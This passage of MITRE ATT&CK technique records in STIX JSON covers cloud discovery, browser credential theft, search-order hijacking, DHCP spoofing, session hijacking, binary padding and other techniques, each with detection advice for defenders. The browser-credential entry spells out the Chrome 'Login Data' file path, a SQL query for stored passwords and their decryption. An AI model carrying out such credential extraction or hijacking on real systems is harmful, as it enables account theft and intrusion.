"https://bradleyjkemp.dev/post/launchdaemon-hijacking/"}, {"source_name": "sentinelone macos persist Jun 2019", "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"x_mitre_platforms": ["IaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Regina Elwell", "Praetorian", "Isif Ibrahima, Mandiant"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "created": "2020-08-20T17:51:25.671Z", "x_mitre_version": "1.3", "external_references": [{"source_name": "mitre-attack", "external_id": "T1580", "url": "https://attack.mitre.org/techniques/T1580"}, {"source_name": "Expel IO Evil in AWS", "url": "https://expel.io/blog/finding-evil-in-aws/", "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."}, {"source_name": "AWS Head Bucket", "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html", "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022."}, {"source_name": "AWS Get Public Access Block", "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html", "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021."}, {"source_name": "AWS Describe DB Instances", "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html", "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021."}, {"source_name": "Amazon Describe Instance", "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020."}, {"source_name": "Amazon Describe Instances API", "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html", "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020."}, {"source_name": "Google Compute Instances", "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list", "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020."}, {"source_name": "Mandiant M-Trends 2020", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}, {"source_name": "Microsoft AZ CLI", "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019."}, {"source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas", "url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/", "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", "modified": "2022-04-20T19:03:12.977Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Cloud Infrastructure Discovery", "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Instance: Instance Enumeration", "Cloud Storage: Cloud Storage Enumeration", "Volume: Volume Enumeration", "Snapshot: Snapshot Enumeration"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ryan Benson, Exabeam", "Barry Shteiman, Exabeam", "Sylvain Gil, Exabeam", "RedHuntLabs, @redhuntlabs"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "type": "attack-pattern", "created": "2020-02-12T18:57:36.041Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1555.003", "url": "https://attack.mitre.org/techniques/T1555/003"}, {"source_name": "Talos Olympic Destroyer 2018", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."}, {"source_name": "Microsoft CryptUnprotectData April 2018", "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata", "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."}, {"source_name": "Proofpoint Vega Credential Stealer May 2018", "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign", "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."}, {"source_name": "FireEye HawkEye Malware July 2017", "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html", "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."}, {"source_name": "GitHub Mimikittenz July 2016", "url": "https://github.com/putterpanda/mimikittenz", "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."}], "modified": "2022-02-15T19:29:57.405Z", "name": "Credentials from Web Browsers", "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Access", "File: File Access", "Process: OS API Execution"], "x_mitre_permissions_required": ["User"]}, {"modified": "2023-03-30T21:01:44.781Z", "name": "Path Interception by Search Order Hijacking", "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Stefan Kanthak"], "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: Process Creation", "File: File Modification", "File: File Creation"], "x_mitre_effective_permissions": ["Administrator", "SYSTEM", "User"], "x_mitre_permissions_required": ["Administrator", "User", "SYSTEM"], "type": "attack-pattern", "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", "created": "2020-03-13T17:48:58.999Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/008", "external_id": "T1574.008"}, {"source_name": "Microsoft CreateProcess", "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", "url": "http://msdn.microsoft.com/en-us/library/ms682425"}, {"source_name": "Windows NT Command Shell", "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.", "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120"}, {"source_name": "Microsoft WinExec", "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.", "url": "http://msdn.microsoft.com/en-us/library/ms687393"}, {"source_name": "Microsoft Environment Property", "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.", "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", "type": "attack-pattern", "created": "2019-04-08T17:51:41.390Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1491", "url": "https://attack.mitre.org/techniques/T1491"}], "modified": "2022-03-25T19:34:42.056Z", "name": "Defacement", "description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n", "x_mitre_version": "1.3", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "File: File Creation", "Application Log: Application Log Content", "File: File Modification"], "x_mitre_impact_type": ["Integrity"], "x_mitre_is_subtechnique": false}, {"modified": "2023-12-14T16:28:24.680Z", "name": "Unused/Unsupported Cloud Regions", "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Netskope"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["IaaS"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Instance: Instance Creation", "Instance: Instance Metadata"], "type": "attack-pattern", "id": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761", "created": "2019-09-04T14:35:04.617Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1535", "external_id": "T1535"}, {"source_name": "CloudSploit - Unused AWS Regions", "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-21T15:18:16.023Z", "name": "DHCP Spoofing", "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)", "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Alex Spivakovsky, Pentera", "Andrew Allen, @whitehat_zero"], "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5", "created": "2022-03-24T19:30:56.727Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1557/003", "external_id": "T1557.003"}, {"source_name": "rfc2131", "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.", "url": "https://datatracker.ietf.org/doc/html/rfc2131"}, {"source_name": "new_rogue_DHCP_serv_malware", "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.", "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"}, {"source_name": "rfc3315", "description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.", "url": "https://datatracker.ietf.org/doc/html/rfc3315"}, {"source_name": "dhcp_serv_op_events", "description": "Microsoft. (2006, August 31).  DHCP Server Operational Events. Retrieved March 7, 2022.", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)"}, {"source_name": "solution_monitor_dhcp_scopes", "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022.", "url": "https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/"}, {"source_name": "w32.tidserv.g", "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.", "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1155", "url": "https://attack.mitre.org/techniques/T1155"}, {"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/", "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.", "source_name": "Macro Malware Targets Macs"}], "modified": "2020-04-14T13:26:00.846Z", "name": "AppleScript", "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2024-02-26T14:21:37.818Z", "name": "Remote Service Session Hijacking", "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_deprecated": false, "x_mitre_detection": "Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Command: Command Execution", "Process: Process Creation", "Logon Session: Logon Session Creation"], "type": "attack-pattern", "id": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "created": "2020-02-25T18:26:16.994Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1563", "external_id": "T1563"}, {"source_name": "RDP Hijacking Medium", "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"}, {"source_name": "Breach Post-mortem SSH Hijack", "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.", "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:53.857Z", "name": "Binary Padding", "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Martin Jirkal, ESET"], "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.  When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Metadata"], "x_mitre_defense_bypassed": ["Anti-virus", "Signature-based detection"], "type": "attack-pattern", "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "created": "2020-02-05T14:04:25.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/001", "external_id": "T1027.001"}, {"source_name": "ESET OceanLotus", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"}, {"source_name": "Securelist Malware Tricks April 2017", "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.", "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"}, {"source_name": "VirusTotal FAQ", "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.", "url": "https://www.virustotal.com/en/faq/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"modified": "2024-04-16T12:45:06.434Z", "name": "Web Shell", "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China 